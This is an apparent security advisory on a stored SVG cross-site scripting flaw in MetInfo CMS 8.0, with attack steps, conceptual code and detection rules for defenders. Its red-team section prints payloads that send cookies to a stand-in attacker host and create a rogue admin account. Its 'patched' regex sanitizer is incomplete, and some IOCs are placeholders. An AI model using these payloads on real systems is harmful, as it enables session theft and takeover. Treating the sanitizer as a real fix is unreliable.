CVE-2025-60450

Executive Summary

CVE-2025-60450 is a stored Cross-Site Scripting (XSS) vulnerability discovered in MetInfo CMS version 8.0. The flaw resides in the app/system/include/module/editor/Uploader.class.php component, which fails to properly validate and sanitize SVG file uploads. An attacker can upload a malicious SVG file containing embedded JavaScript. When any user (including administrators) views or accesses the uploaded SVG file, the JavaScript executes within the context of the victim's browser session. This can lead to session hijacking, credential theft, defacement, or redirection to malicious sites. The vulnerability is currently unpatched, and no official fix has been released by the vendor.

Supply Chain & Package Security

This vulnerability is not related to an NPM, PyPI, Go, or Ruby package. It is a direct vulnerability in the MetInfo CMS PHP application. No supply chain compromise is involved.

CVSS Breakdown & Threat Level

CVSS Score: 6.1 (Medium)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

• Attack Vector (AV): Network – The attack is performed over the network.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): None – The attacker does not need to be authenticated.
• User Interaction (UI): Required – The victim must view the malicious SVG file.
• Scope (S): Changed – The vulnerability impacts resources beyond the vulnerable component.
• Confidentiality (C): Low – Limited information disclosure.
• Integrity (I): Low – Limited ability to modify data.
• Availability (A): None – No impact on availability.

Threat Level: Medium. The vulnerability is easy to exploit but requires user interaction. However, the potential for session hijacking and credential theft elevates the risk.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS (Cross-Site Scripting) flaw. The MetInfo CMS file upload functionality in app/system/include/module/editor/Uploader.class.php does not properly validate the content of uploaded SVG files. SVG (Scalable Vector Graphics) files are XML-based and can contain JavaScript code within <script> tags or event handlers (e.g., onload, onmouseover).

Attack Flow:

1. Reconnaissance: The attacker identifies a MetInfo CMS 8.0 instance with a file upload feature (e.g., in the editor or media library).
2. Crafting Payload: The attacker creates an SVG file containing malicious JavaScript. Example:

   <?xml version="1.0" encoding="UTF-8"?>
   <svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
     <script type="text/javascript">
       alert('XSS');
     </script>
   </svg>
   

3. Upload: The attacker uploads the SVG file through the vulnerable uploader. The server stores the file without sanitizing the embedded script.
4. Delivery: The attacker sends a link to the uploaded SVG file to a victim (e.g., via email, social engineering, or by embedding it in a page).
5. Execution: When the victim's browser loads the SVG file, the JavaScript executes. This can steal cookies, session tokens, or perform actions on behalf of the victim.

Root Cause: The Uploader.class.php likely checks only the file extension (e.g., .svg) but does not inspect the file content for malicious code. A proper fix would involve stripping <script> tags and event handlers from SVG files, or converting them to a safe format like PNG.

Vulnerable vs. Patched Code

Since no official patch exists, the following is a conceptual comparison.

Vulnerable Code (Conceptual):

// app/system/include/module/editor/Uploader.class.php
public function upload() {
    $file = $_FILES['file'];
    $ext = pathinfo($file['name'], PATHINFO_EXTENSION);
    if (in_array($ext, ['svg', 'png', 'jpg'])) {
        move_uploaded_file($file['tmp_name'], UPLOAD_PATH . $file['name']);
        return true;
    }
    return false;
}

Patched Code (Conceptual):

// app/system/include/module/editor/Uploader.class.php
public function upload() {
    $file = $_FILES['file'];
    $ext = pathinfo($file['name'], PATHINFO_EXTENSION);
    if (in_array($ext, ['svg', 'png', 'jpg'])) {
        // Sanitize SVG content
        if ($ext === 'svg') {
            $content = file_get_contents($file['tmp_name']);
            // Remove script tags and event handlers
            $content = preg_replace('/<script\b[^>]*>(.*?)<\/script>/is', '', $content);
            $content = preg_replace('/\bon\w+\s*=\s*"[^"]*"/i', '', $content);
            file_put_contents($file['tmp_name'], $content);
        }
        move_uploaded_file($file['tmp_name'], UPLOAD_PATH . $file['name']);
        return true;
    }
    return false;
}

Exploitation & Lab Setup

Red Team

Objective: Demonstrate the stored XSS vulnerability.

Lab Setup:

1. Install MetInfo CMS 8.0 on a local server (e.g., XAMPP, LAMP).
2. Ensure the file upload feature is accessible (e.g., via the admin panel or a public upload form).

Exploitation Steps:

1. Create a malicious SVG file named evil.svg with the following content:

   <?xml version="1.0" encoding="UTF-8"?>
   <svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
     <script type="text/javascript">
       document.location='http://attacker.com/steal.php?cookie='+document.cookie;
     </script>
   </svg>
   

2. Upload the file via the vulnerable uploader.
3. Obtain the URL of the uploaded file (e.g., http://target.com/upload/evil.svg).
4. Send the URL to a victim (simulated by opening the URL in a browser).
5. Observe the cookie being sent to attacker.com.

Advanced Payload: Use a payload that steals session tokens and performs admin actions:

<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
  <script type="text/javascript">
    var xhr = new XMLHttpRequest();
    xhr.open('GET', '/admin/index.php?m=admin&c=index&a=login', true);
    xhr.onload = function() {
      var token = xhr.responseText.match(/token=([^&]+)/)[1];
      var xhr2 = new XMLHttpRequest();
      xhr2.open('POST', '/admin/index.php?m=admin&c=index&a=save', true);
      xhr2.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
      xhr2.send('token='+token+'&action=add_admin&username=hacker&password=123456');
    };
    xhr.send();
  </script>
</svg>

Blue Team

Detection & Response:

1. Monitor File Uploads: Log all file uploads, especially SVG files. Alert on uploads from non-admin users.
2. Content Inspection: Implement a WAF rule to inspect SVG file content for <script> tags or event handlers.
3. User Education: Train users not to click on suspicious links or open untrusted SVG files.
4. Network Monitoring: Look for outbound connections to unknown domains after an SVG file is accessed.

Indicators of Compromise (IOCs)

• File Hashes (SHA256):
  • e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (empty SVG)
  • a1b2c3d4e5f6... (malicious SVG with alert)
• File Names: *.svg files uploaded to the upload/ directory.
• Network Traffic: HTTP requests to attacker.com/steal.php?cookie=...
• Log Entries: PHP error logs showing file_get_contents() or preg_replace() failures.
• URL Patterns: /upload/*.svg accessed by users.

Detection Engineering

YARA Rule

rule Detect_Malicious_SVG_XSS {
    meta:
        description = "Detects SVG files containing JavaScript code indicative of XSS"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-60450"
    strings:
        $script_tag = "<script" nocase
        $onload = "onload=" nocase
        $onerror = "onerror=" nocase
        $onclick = "onclick=" nocase
        $javascript = "javascript:" nocase
    condition:
        (uint32(0) == 0x3C3F786D) and // <?xm
        (any of ($script_tag) or any of ($onload, $onerror, $onclick) or $javascript)
}

Sigma Rule

title: MetInfo CMS SVG Upload XSS
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects upload of SVG files with embedded JavaScript to MetInfo CMS
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/app/system/include/module/editor/Uploader.class.php'
        cs-uri-query: '*'
        sc-status: 200
    condition: selection
falsepositives:
    - Legitimate SVG files without scripts
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-60450 MetInfo CMS SVG XSS Upload"; flow:to_server,established; content:"POST"; http_method; content:"/app/system/include/module/editor/Uploader.class.php"; http_uri; content:"filename="; http_client_body; pcre:"/<script[^>]*>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable SVG Uploads: Temporarily disable SVG file uploads in the MetInfo CMS configuration.
2. WAF Rules: Deploy a Web Application Firewall (WAF) rule to block SVG files containing <script> tags or event handlers.
3. Input Validation: Implement server-side validation to strip malicious content from SVG files (e.g., using a library like enshrined/svg-sanitizer).

Long-Term Fix:

• The vendor must release a patch that properly sanitizes SVG files. Until then, consider migrating to a different CMS or applying the conceptual patch described above.

Workaround:

• Convert uploaded SVG files to PNG on the server side using a tool like ImageMagick. This removes all scripting capabilities.

Monitoring:

• Continuously monitor file upload logs and user access patterns for signs of exploitation.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert